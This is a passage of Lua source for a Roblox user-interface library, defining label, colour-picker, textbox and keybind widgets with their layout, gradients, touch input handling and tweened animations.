                        cfg.set(button.Text)
                    end
                end)
            end
        end

        items[ "dropdown" ].InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                cfg.open = not cfg.open
                cfg.set_visible(cfg.open)
            end
        end)

        if cfg.seperator then
            library:create( "Frame" , {
                AnchorPoint = vec2(0, 1);
                Parent = self.items[ "elements" ];
                Position = dim2(0, 0, 1, 0);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(1, 1, 0, 1);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(36, 36, 37)
            });
        end

        flags[cfg.flag] = {}
        config_flags[cfg.flag] = cfg.set

        cfg.refresh_options(cfg.options)
        cfg.set(cfg.default)
```

```
    return setmetatable(cfg, library)
end

function library:label(options)
    local cfg = {
        enabled = options.enabled or nil,
        name = options.name or "Toggle",
        seperator = options.seperator or options.Seperator or false;
        info = options.info or nil;

        items = {};
    }

    local items = cfg.items; do
        items[ "label" ] = library:create( "TextButton" , {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            Parent = self.items[ "elements" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.small;
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = items[ "label" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        if cfg.info then
            items[ "info" ] = library:create( "TextLabel" , {
                FontFace = fonts.small;
                TextColor3 = rgb(130, 130, 130);
                BorderColor3 = rgb(0, 0, 0);
                TextWrapped = true;
                Text = cfg.info;
                Parent = items[ "label" ];
                Name = "\0";
```

```
            Position = dim2(0, 5, 0, 17);
            Size = dim2(1, -10, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });
    end

    library:create( "UIPadding" , {
        Parent = items[ "name" ];
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });

    items[ "right_components" ] = library:create( "Frame" , {
        Parent = items[ "label" ];
        Name = "\0";
        Position = dim2(1, 0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(0, 0, 1, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIListLayout" , {
        FillDirection = Enum.FillDirection.Horizontal;
        HorizontalAlignment = Enum.HorizontalAlignment.Right;
        Parent = items[ "right_components" ];
        Padding = dim(0, 9);
        SortOrder = Enum.SortOrder.LayoutOrder
    });
end

if cfg.seperator then
    library:create( "Frame" , {
        AnchorPoint = vec2(0, 1);
        Parent = self.items[ "elements" ];
        Position = dim2(0, 0, 1, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(36, 36, 37)
    });
end

return setmetatable(cfg, library)
end

function library:colorpicker(options)
    local cfg = {
        name = options.name or "Color",
```

```
        flag = options.flag or library:next_flag(),

        color = options.color or color(1, 1, 1), -- Default to white color if not provided
        alpha = options.alpha and 1 - options.alpha or 0,

        open = false,
        callback = options.callback or function() end,
        items = {};

        seperator = options.seperator or options.Seperator or false;
    }

    local dragging_sat = false
    local dragging_hue = false
    local dragging_alpha = false

    local h, s, v = cfg.color:ToHSV()
    local a = cfg.alpha

    flags[cfg.flag] = {Color = cfg.color, Transparency = cfg.alpha}

    local label;
    if not self.items.right_components then
        label = self:label({name = cfg.name, seperator = cfg.seperator})
    end

    local items = cfg.items; do
        -- Component
            items[ "colorpicker" ] = library:create( "TextButton" , {
                FontFace = fonts.small;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                AutoButtonColor = false;
                AnchorPoint = vec2(1, 0);
                Parent = label and label.items.right_components or
self.items[ "right_components" ];
                Name = "\0";
                Position = dim2(1, 0, 0, 0);
                Size = dim2(0, 16, 0, 16);
                BorderSizePixel = 0;
                TextSize = 14;
                BackgroundColor3 = rgb(54, 31, 184)
            });

            library:create( "UICorner" , {
                Parent = items[ "colorpicker" ];
                CornerRadius = dim(0, 4)
            });

            items[ "colorpicker_inline" ] = library:create( "Frame" , {
                Parent = items[ "colorpicker" ];
                Size = dim2(1, -2, 1, -2);
                Name = "\0";
```

```
        BorderMode = Enum.BorderMode.Inset;
        BorderColor3 = rgb(0, 0, 0);
        Position = dim2(0, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(54, 31, 184)
    });

                library:create( "UIScale" , {
    Parent = items[ "colorpicker_inline" ];
    Scale = scale;
});

    library:create( "UICorner" , {
        Parent = items[ "colorpicker_inline" ];
        CornerRadius = dim(0, 4)
    });

    library:create( "UIGradient" , {
        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
        Parent = items[ "colorpicker_inline" ]
    });
--

-- Colorpicker
    items[ "colorpicker_holder" ] = library:create( "Frame" , {
        Parent = library[ "other" ];
        Name = "\0";
        Position = dim2(0.20000000298023224, 20, 0.296999990940094, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(0, 166, 0, 197);
        BorderSizePixel = 0;
        Visible = true;
        BackgroundColor3 = rgb(25, 25, 29)
    });

    items[ "colorpicker_fade" ] = library:create( "Frame" , {
        Parent = items[ "colorpicker_holder" ];
        Name = "\0";
        BackgroundTransparency = 0;
        Position = dim2(0, 0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 0, 1, 0);
        BorderSizePixel = 0;
        ZIndex = 100;
        BackgroundColor3 = rgb(25, 25, 29)
    });

    items[ "colorpicker_components" ] = library:create( "Frame" , {
        Parent = items[ "colorpicker_holder" ];
        Name = "\0";
        Position = dim2(0, 1, 0, 1);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, -2, 1, -2);
        BorderSizePixel = 0;
```

```
    BackgroundColor3 = rgb(22, 22, 24)
});

library:create( "UICorner" , {
    Parent = items[ "colorpicker_components" ];
    CornerRadius = dim(0, 6)
});

items[ "saturation_holder" ] = library:create( "Frame" , {
    Parent = items[ "colorpicker_components" ];
    Name = "\0";
    Position = dim2(0, 7, 0, 7);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -14, 1, -80);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 39, 39)
});

items[ "sat" ] = library:create( "TextButton" , {
    Parent = items[ "saturation_holder" ];
    Name = "\0";
    Size = dim2(1, 0, 1, 0);
    Text = "";
    AutoButtonColor = false;
    BorderColor3 = rgb(0, 0, 0);
    ZIndex = 2;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UICorner" , {
    Parent = items[ "sat" ];
    CornerRadius = dim(0, 4)
});

library:create( "UIGradient" , {
    Rotation = 270;
    Transparency = numseq{numkey(0, 0), numkey(1, 1)};
    Parent = items[ "sat" ];
    Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(0, 0, 0))}
});

items[ "val" ] = library:create( "Frame" , {
    Name = "\0";
    Parent = items[ "saturation_holder" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIGradient" , {
    Parent = items[ "val" ];
    Transparency = numseq{numkey(0, 0), numkey(1, 1)}
```

```
        });

        library:create( "UICorner" , {
            Parent = items[ "val" ];
            CornerRadius = dim(0, 4)
        });

        library:create( "UICorner" , {
            Parent = items[ "saturation_holder" ];
            CornerRadius = dim(0, 4)
        });

        items[ "satvalpicker" ] = library:create( "TextButton" , {
            BorderColor3 = rgb(0, 0, 0);
            AutoButtonColor = false;
            Text = "";
            AnchorPoint = vec2(0, 1);
            Parent = items[ "saturation_holder" ];
            Name = "\0";
            Position = dim2(0, 0, 4, 0);
            Size = dim2(0, 8, 0, 8);
            ZIndex = 5;
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 0, 0)
        });

        library:create( "UICorner" , {
            Parent = items[ "satvalpicker" ];
            CornerRadius = dim(0, 9999)
        });

        library:create( "UIStroke" , {
            Color = rgb(255, 255, 255);
            Parent = items[ "satvalpicker" ];
            ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
        });

        items[ "hue_gradient" ] = library:create( "TextButton" , {
            Parent = items[ "colorpicker_components" ];
            Name = "\0";
            Position = dim2(0, 10, 1, -64);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, -20, 0, 8);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 255, 255);
            AutoButtonColor = false;
            Text = "";
        });

        library:create( "UIGradient" , {
            Color = rgbseq{rgbkey(0, rgb(255, 0, 0)), rgbkey(0.17, rgb(255, 255, 0)),
rgbkey(0.33, rgb(0, 255, 0)), rgbkey(0.5, rgb(0, 255, 255)), rgbkey(0.67, rgb(0, 0, 255)),
rgbkey(0.83, rgb(255, 0, 255)), rgbkey(1, rgb(255, 0, 0))};
            Parent = items[ "hue_gradient" ]
```

```
});

library:create( "UICorner" , {
    Parent = items[ "hue_gradient" ];
    CornerRadius = dim(0, 6)
});

items[ "hue_picker" ] = library:create( "TextButton" , {
    BorderColor3 = rgb(0, 0, 0);
    AutoButtonColor = false;
    Text = "";
    AnchorPoint = vec2(0, 0.5);
    Parent = items[ "hue_gradient" ];
    Name = "\0";
    Position = dim2(0, 0, 0.5, 0);
    Size = dim2(0, 8, 0, 8);
    ZIndex = 5;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 0, 0)
});

library:create( "UICorner" , {
    Parent = items[ "hue_picker" ];
    CornerRadius = dim(0, 9999)
});

library:create( "UIStroke" , {
    Color = rgb(255, 255, 255);
    Parent = items[ "hue_picker" ];
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
});

items[ "alpha_gradient" ] = library:create( "TextButton" , {
    Parent = items[ "colorpicker_components" ];
    Name = "\0";
    Position = dim2(0, 10, 1, -46);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -20, 0, 8);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(25, 25, 29);
    AutoButtonColor = false;
    Text = "";
});

library:create( "UICorner" , {
    Parent = items[ "alpha_gradient" ];
    CornerRadius = dim(0, 6)
});

items[ "alpha_picker" ] = library:create( "TextButton" , {
    BorderColor3 = rgb(0, 0, 0);
    AutoButtonColor = false;
    Text = "";
    AnchorPoint = vec2(0, 0.5);
```

```
    Parent = items[ "alpha_gradient" ];
    Name = "\0";
    Position = dim2(1, 0, 0.5, 0);
    Size = dim2(0, 8, 0, 8);
    ZIndex = 5;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 0, 0)
});

library:create( "UICorner" , {
    Parent = items[ "alpha_picker" ];
    CornerRadius = dim(0, 9999)
});

library:create( "UIStroke" , {
    Color = rgb(255, 255, 255);
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
    Parent = items[ "alpha_picker" ]
});

library:create( "UIGradient" , {
    Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(255, 255, 255))};
    Parent = items[ "alpha_gradient" ]
});

items[ "alpha_indicator" ] = library:create( "ImageLabel" , {
    ScaleType = Enum.ScaleType.Tile;
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "alpha_gradient" ];
    Image = "rbxassetid://18274452449";
    BackgroundTransparency = 1;
    Name = "\0";
    Size = dim2(1, 0, 1, 0);
    TileSize = dim2(0, 6, 0, 6);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(0, 0, 0)
});

library:create( "UIGradient" , {
    Color = rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, rgb(255, 0, 0))};
    Transparency = numseq{numkey(0, 0.8062499761581421), numkey(1, 0)};
    Parent = items[ "alpha_indicator" ]
});

library:create( "UICorner" , {
    Parent = items[ "alpha_indicator" ];
    CornerRadius = dim(0, 6)
});

library:create( "UIGradient" , {
    Rotation = 90;
    Parent = items[ "colorpicker_components" ];
    Color = rgbseq{rgbkey(0, rgb(255, 255, 255)), rgbkey(1, rgb(66, 66, 66))}
});
```

```
            items[ "input" ] = library:create( "TextBox" , {
                FontFace = fonts.font;
                AnchorPoint = vec2(1, 1);
                Text = "";
                Parent = items[ "colorpicker_components" ];
                Name = "\0";
                TextTruncate = Enum.TextTruncate.AtEnd;
                BorderSizePixel = 0;
                PlaceholderColor3 = rgb(255, 255, 255);
                CursorPosition = -1;
                ClearTextOnFocus = false;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255);
                TextColor3 = rgb(72, 72, 72);
                BorderColor3 = rgb(0, 0, 0);
                Position = dim2(1, -8, 1, -11);
                Size = dim2(1, -16, 0, 18);
                BackgroundColor3 = rgb(33, 33, 35)
            });

            library:create( "UICorner" , {
                Parent = items[ "input" ];
                CornerRadius = dim(0, 3)
            });

            items[ "UICorenr" ] = library:create( "UICorner" , { -- fire misstypo (im not fixing this
RAWR)
                Parent = items[ "colorpicker_holder" ];
                Name = "\0";
                CornerRadius = dim(0, 4)
            });
        --
    end;

    function cfg.set_visible(bool)
        items[ "colorpicker_fade" ].BackgroundTransparency = 0
        items[ "colorpicker_holder" ].Parent = bool and library[ "items" ] or library[ "other" ]
        items[ "colorpicker_holder" ].Position =
dim_offset(items[ "colorpicker" ].AbsolutePosition.X, items[ "colorpicker" ].AbsolutePosition.Y +
items[ "colorpicker" ].AbsoluteSize.Y + 45)

        library:tween(items[ "colorpicker_fade" ], {BackgroundTransparency = 1},
Enum.EasingStyle.Quad, 0.4)
        library:tween(items[ "colorpicker_holder" ], {Position =
items[ "colorpicker_holder" ].Position + dim_offset(0, 20)}) -- p100 check

        if not (self.sanity and library.current_open == self and self.open) then
            library:close_element(cfg)
        end
    end

    function cfg.set(color, alpha)
        if type(color) == "boolean" then
```

```
            return
        end

        if color then
            h, s, v = color:ToHSV()
        end

        if alpha then
            a = alpha
        end

        local Color = hsv(h, s, v)

        -- Ok so quick story, should I cache any of this? no...?? anyways I know this code is
very bad but its your fault for buying a ui with animations (on a serious note im too lazy to make
this look nice)
        -- Also further note, yeah I kind of did this scale_factor * size-valuesize.plane
because then I would have to do tomfoolery to make it clip properly.
        library:tween(items[ "hue_picker" ], {Position = dim2(0,
(items[ "hue_gradient" ].AbsoluteSize.X - items[ "hue_picker" ].AbsoluteSize.X) * h, 0.5, 0)},
Enum.EasingStyle.Linear, 0.05)
        library:tween(items[ "alpha_picker" ], {Position = dim2(0,
(items[ "alpha_gradient" ].AbsoluteSize.X - items[ "alpha_picker" ].AbsoluteSize.X) * (1 - a), 0.5,
0)}, Enum.EasingStyle.Linear, 0.05)
        library:tween(items[ "satvalpicker" ], {Position = dim2(0, s *
(items[ "saturation_holder" ].AbsoluteSize.X - items[ "satvalpicker" ].AbsoluteSize.X), 1, 1 - v *
(items[ "saturation_holder" ].AbsoluteSize.Y - items[ "satvalpicker" ].AbsoluteSize.Y))},
Enum.EasingStyle.Linear, 0.05)

        items[ "alpha_indicator" ]:FindFirstChildOfClass("UIGradient").Color =
rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, hsv(h, 1, 1))}; -- shit code

        items[ "colorpicker" ].BackgroundColor3 = Color
        items[ "colorpicker_inline" ].BackgroundColor3 = Color
        items[ "saturation_holder" ].BackgroundColor3 = hsv(h, 1, 1)

        items[ "hue_picker" ].BackgroundColor3 = hsv(h, 1, 1)
        items[ "alpha_picker" ].BackgroundColor3 = hsv(h, 1, 1 - a)
        items[ "satvalpicker" ].BackgroundColor3 = hsv(h, s, v)

        flags[cfg.flag] = {
            Color = Color;
            Transparency = a
        }

        local color = items[ "colorpicker" ].BackgroundColor3
        items[ "input" ].Text = string.format("%s, %s, %s, ", library:round(color.R * 255),
library:round(color.G * 255), library:round(color.B * 255))
        items[ "input" ].Text ..= library:round(1 - a, 0.01)

        cfg.callback(Color, a)
    end

    function cfg.update_color()
```

```
            local mouse = uis:GetMouseLocation()
            local offset = vec2(mouse.X, mouse.Y - gui_offset)

            if dragging_sat then
                s = math.clamp((offset - items["sat"].AbsolutePosition).X /
items["sat"].AbsoluteSize.X, 0, 1)
                v = 1 - math.clamp((offset - items["sat"].AbsolutePosition).Y /
items["sat"].AbsoluteSize.Y, 0, 1)
            elseif dragging_hue then
                h = math.clamp((offset - items[ "hue_gradient" ].AbsolutePosition).X /
items[ "hue_gradient" ].AbsoluteSize.X, 0, 1)
            elseif dragging_alpha then
                a = 1 - math.clamp((offset - items[ "alpha_gradient" ].AbsolutePosition).X /
items[ "alpha_gradient" ].AbsoluteSize.X, 0, 1)
            end

            cfg.set()
        end

        items[ "colorpicker" ].InputBegan:Connect(function(input)
            if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType ==
Enum.UserInputType.Touch then
                cfg.open = not cfg.open

                cfg.set_visible(cfg.open)
            end
        end)

        uis.InputChanged:Connect(function(input)
            if (dragging_sat or dragging_hue or dragging_alpha) and input.UserInputType ==
Enum.UserInputType.Touch then
                cfg.update_color()
            end
        end)

        library:connection(uis.InputEnded, function(input)
            if input.UserInputType == Enum.UserInputType.Touch then
                dragging_sat = false
                dragging_hue = false
                dragging_alpha = false
            end
        end)

        items[ "alpha_gradient" ].InputBegan:Connect(function(Input)
                    if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            dragging_alpha = true
        end)

        items[ "hue_gradient" ].InputBegan:Connect(function(Input)
                    if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            dragging_hue = true
        end)

        items[ "sat" ].InputBegan:Connect(function(Input)
```

```
                if Input.UserInputType ~= Enum.UserInputType.Touch then return end
            dragging_sat = true
        end)

        items[ "input" ].FocusLost:Connect(function()
            local text = items[ "input" ].Text
            local r, g, b, a = library:convert(text)

            if r and g and b and a then
                cfg.set(rgb(r, g, b), 1 - a)
            end
        end)

        items[ "input" ].Focused:Connect(function()
            library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
        end)

        items[ "input" ].FocusLost:Connect(function()
            library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
        end)

        cfg.set(cfg.color, cfg.alpha)
        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:textbox(options)
        local cfg = {
            name = options.name or "TextBox",
            placeholder = options.placeholder or options.placeholdertext or options.holder or
options.holdertext or "type here...",
            default = options.default or "",
            flag = options.flag or library:next_flag(),
            callback = options.callback or function() end,
            visible = options.visible or true,
            items = {};
        }

        flags[cfg.flag] = cfg.default

        local items = cfg.items; do
            items[ "textbox" ] = library:create( "TextButton" , {
                LayoutOrder = -1;
                FontFace = fonts.font;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                Parent = self.items[ "elements" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Size = dim2(1, 0, 0, 0);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.Y;
```

```
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

items[ "name" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(245, 245, 245);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "textbox" ];
    Name = "\0";
    Size = dim2(1, 0, 0, 0);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "textbox" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 4, 0, 19);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 12);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder;
    FillDirection = Enum.FillDirection.Horizontal
});

items[ "input" ] = library:create( "TextBox" , {
    FontFace = fonts.font;
    Text = "";
    Parent = items[ "right_components" ];
    Name = "\0";
    TextTruncate = Enum.TextTruncate.AtEnd;
    BorderSizePixel = 0;
    PlaceholderColor3 = rgb(255, 255, 255);
    CursorPosition = -1;
    ClearTextOnFocus = false;
```

```
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255);
            TextColor3 = rgb(72, 72, 72);
            BorderColor3 = rgb(0, 0, 0);
            Position = dim2(1, 0, 0, 0);
            Size = dim2(1, -4, 0, 30);
            BackgroundColor3 = rgb(33, 33, 35)
        });

        library:create( "UICorner" , {
            Parent = items[ "input" ];
            CornerRadius = dim(0, 3)
        });

        library:create( "UIPadding" , {
            Parent = items[ "right_components" ];
            PaddingTop = dim(0, 4);
            PaddingRight = dim(0, 4)
        });
    end

    function cfg.set(text)
        flags[cfg.flag] = text

        items[ "input" ].Text = text

        cfg.callback(text)
    end

    items[ "input" ]:GetPropertyChangedSignal("Text"):Connect(function()
        cfg.set(items[ "input" ].Text)
    end)

    items[ "input" ].Focused:Connect(function()
        library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
    end)

    items[ "input" ].FocusLost:Connect(function()
        library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
    end)

    if cfg.default then
        cfg.set(cfg.default)
    end

    config_flags[cfg.flag] = cfg.set

    return setmetatable(cfg, library)
end

function library:keybind(options)
    local cfg = {
        flag = options.flag or library:next_flag(),
        callback = options.callback or function() end,
```

```
    name = options.name or nil,
    ignore_key = options.ignore or false,

    key = options.key or nil,
    mode = options.mode or "Toggle",
    active = options.default or false,

    open = false,
    binding = nil,

    hold_instances = {},
    items = {};
}

flags[cfg.flag] = {
    mode = cfg.mode,
    key = cfg.key,
    active = cfg.active
}

local items = cfg.items; do
    -- Component
        items[ "keybind_element" ] = library:create( "TextButton" , {
            FontFace = fonts.font;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            Parent = self.items[ "elements" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = items[ "keybind_element" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIPadding" , {
```

```
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "keybind_element" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    FillDirection = Enum.FillDirection.Horizontal;
    HorizontalAlignment = Enum.HorizontalAlignment.Right;
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder
});

items[ "keybind_holder" ] = library:create( "TextButton" , {
    FontFace = fonts.font;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    Parent = items[ "right_components" ];
    AutoButtonColor = false;
    AnchorPoint = vec2(1, 0);
    Size = dim2(0, 0, 0, 16);
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.X;
    TextSize = 14;
    BackgroundColor3 = rgb(33, 33, 35)
});

library:create( "UICorner" , {
    Parent = items[ "keybind_holder" ];
    CornerRadius = dim(0, 4)
});

items[ "key" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(86, 86, 87);
    BorderColor3 = rgb(0, 0, 0);
    Text = "LSHIFT";
    Parent = items[ "keybind_holder" ];
    Name = "\0";
    Size = dim2(1, -12, 0, 0);
    BackgroundTransparency = 1;
```

```
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIPadding" , {
        Parent = items[ "key" ];
        PaddingTop = dim(0, 1);
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });
--

-- Mode Holder
    items[ "dropdown" ] = library:create( "Frame" , {
        BorderColor3 = rgb(0, 0, 0);
        Parent = library.items;
        Name = "\0";
        BackgroundTransparency = 1;
        Position = dim2(0, 0, 0, 0);
        Size = dim2(0, 0, 0, 0);
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.X;
        BackgroundColor3 = rgb(0, 0, 0)
    });

    items[ "inline" ] = library:create( "Frame" , {
        Parent = items[ "dropdown" ];
        Size = dim2(1, 0, 1, 0);
        Name = "\0";
        ClipsDescendants = true;
        BorderColor3 = rgb(0, 0, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(22, 22, 24)
    });

    library:create( "UIPadding" , {
        PaddingBottom = dim(0, 6);
        PaddingTop = dim(0, 3);
        PaddingLeft = dim(0, 3);
        Parent = items[ "inline" ]
    });

    library:create( "UIListLayout" , {
        Parent = items[ "inline" ];
        Padding = dim(0, 5);
        SortOrder = Enum.SortOrder.LayoutOrder
    });

    library:create( "UICorner" , {
        Parent = items[ "inline" ];
        CornerRadius = dim(0, 4)
```

```
            });

            local options = {"Hold", "Toggle", "Always"}

            cfg.y_size = 20
            for _, option in options do
                local name = library:create( "TextButton" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = option;
                    Parent = items[ "inline" ];
                    Name = "\0";
                    Size = dim2(0, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); cfg.hold_instances[option] = name
                library:apply_theme(name, "accent", "TextColor3")

                cfg.y_size += name.AbsoluteSize.Y

                library:create( "UIPadding" , {
                    Parent = name;
                    PaddingTop = dim(0, 1);
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });

                name.InputBegan:Connect(function(input)
                    if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType
== Enum.UserInputType.Touch then
                        cfg.set(option)
                        cfg.set_visible(false)
                        cfg.open = false
                    end
                end)
            end
        --
    end

    function cfg.modify_mode_color(path) -- ts so frikin tuff 💀
        for _, v in cfg.hold_instances do
            v.TextColor3 = rgb(72, 72, 72)
        end

        cfg.hold_instances[path].TextColor3 = themes.preset.accent
    end

    function cfg.set_mode(mode)
```

```
        cfg.mode = mode

        if mode == "Always" then
            cfg.set(true)
        elseif mode == "Hold" then
            cfg.set(false)
        end

        flags[cfg.flag]["mode"] = mode
        cfg.modify_mode_color(mode)
    end

    function cfg.set(input)
        if type(input) == "boolean" then
            cfg.active = input

            if cfg.mode == "Always" then
                cfg.active = true
            end
        elseif tostring(input):find("Enum") then
            input = input.Name == "Escape" and "NONE" or input

            cfg.key = input or "NONE"
        elseif find({"Toggle", "Hold", "Always"}, input) then
            if input == "Always" then
                cfg.active = true
            end

            cfg.mode = input
            cfg.set_mode(cfg.mode)
        elseif type(input) == "table" then
            input.key = type(input.key) == "string" and input.key ~= "NONE" and
library:convert_enum(input.key) or input.key
            input.key = input.key == Enum.KeyCode.Escape and "NONE" or input.key

            cfg.key = input.key or "NONE"
            cfg.mode = input.mode or "Toggle"

            if input.active then
                cfg.active = input.active
            end

            cfg.set_mode(cfg.mode)
        end

        cfg.callback(cfg.active)

        local text = tostring(cfg.key) ~= "Enums" and (keys[cfg.key] or
tostring(cfg.key):gsub("Enum.", "")) or nil
        local __text = text and (tostring(text):gsub("KeyCode.", ""):gsub("UserInputType.", ""))

        items[ "key" ].Text = __text

        flags[cfg.flag] = {
```

```
                mode = cfg.mode,
                key = cfg.key,
                active = cfg.active
            }
        end

        function cfg.set_visible(bool)
            local size = bool and cfg.y_size or 0
            library:tween(items[ "dropdown" ], {Size =
dim_offset(items[ "keybind_holder" ].AbsoluteSize.X, size)})

            items[ "dropdown" ].Position =
dim_offset(items[ "keybind_holder" ].AbsolutePosition.X,
